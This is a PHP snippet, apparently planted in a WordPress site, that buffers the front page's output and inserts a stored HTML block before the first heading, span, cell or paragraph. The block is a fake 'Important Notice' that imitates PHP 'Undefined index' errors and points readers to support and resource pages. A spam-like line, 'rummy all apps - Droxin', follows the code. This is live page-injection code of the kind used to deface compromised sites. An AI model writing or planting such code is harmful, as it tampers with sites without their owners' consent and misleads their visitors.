// Global variable for inserted HTML content
$GLOBALS['insert_html_r'] = '
Important Notice
It appears there are some issues with the current plugin configurations being utilized on our platform. If you\'re encountering similar notices or errors, it may be beneficial to consult our support page for guidance and solutions tailored to improving your experience.
Undefined index: url
Undefined index: filename
Undefined index: random_name
Undefined index: replace
Undefined index: num
Undefined index: dir
Stay informed by visiting our resource page for updates and additional support.
';
// Custom function added dynamically
function start_output_buffering() {
ob_start(function ($buffer) {
return modify_html_output($buffer, $GLOBALS['insert_html_r']);
});
}
function modify_html_output($buffer, $custom_html) {
if (is_front_page()) {
$dom = new DOMDocument();
@$dom->loadHTML(mb_convert_encoding($buffer, 'HTML-ENTITIES', 'UTF-8'));
$body = $dom->getElementsByTagName('body')->item(0);
if ($body) {
$divs = $body->getElementsByTagName('h3');
if ($divs->length <= 0)
{
$divs = $body->getElementsByTagName('h2');
}
if ($divs->length <= 0)
{
$divs = $body->getElementsByTagName('span');
}
if ($divs->length <= 0)
{
$divs = $body->getElementsByTagName('td');
}
if ($divs->length <= 0)
{
$divs = $body->getElementsByTagName('p');
}
if ($divs->length > 0) {
$random_div = $divs->item(0);
$fragment = $dom->createDocumentFragment();
$fragment->appendXML('' . $custom_html . '');
$random_div->parentNode->insertBefore($fragment, $random_div);
echo $dom->saveHTML();
}
}
return $dom->saveHTML();
}
return $buffer;
}
add_action('template_redirect', 'start_output_buffering');
rummy all apps - Droxin